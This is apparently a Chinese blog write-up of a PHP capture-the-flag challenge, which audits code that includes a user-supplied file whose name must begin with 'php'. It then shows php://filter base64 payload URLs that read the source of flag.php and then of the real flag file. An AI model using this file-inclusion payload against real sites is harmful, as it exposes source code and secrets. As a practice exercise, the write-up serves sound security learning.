进入之后就看见一段php代码,那就直接开始代码审计
<?php error_reporting(0); if (isset($_GET['file'])) { if ( substr($_GET["file"], 0, 3) === "php" ) {//截取字符串前三个字符,并与php做判断 echo "Nice!!!"; include($_GET["file"]); } else { echo "Hacker!!"; } }else { highlight_file(__FILE__); } //flag.php
这段代码,就是限定我们输入的内容前三个字符必须是php,这不就好办了,他告诉我们存在一个flag.php文件,那我们直接用php伪协议中的php://filter来试试
/?file=php://filter/read=convert.base64-encode/resource=flag.php
放进解码器解码得到下面的代码。
<?php error_reporting(0); header("Content-Type:text/html;charset=utf-8"); echo "NSSCTF{flag_is_not_here}" ."<br/>"; echo "real_flag_is_in_'flag'"."<br/>"; echo "换个思路,试试PHP伪协议呢";
他说flag不在flag.php里面,在flag里面,那我们直接将flag.php改为flag试试
/?file=php://filter/read=convert.base64-encode/resource=flag
继续解码试试
成功获得flag
标签:SWPUCTF,试试,代码,NSSCFT,filter,flag,ez,php From: https://www.cnblogs.com/karasbai/p/18368710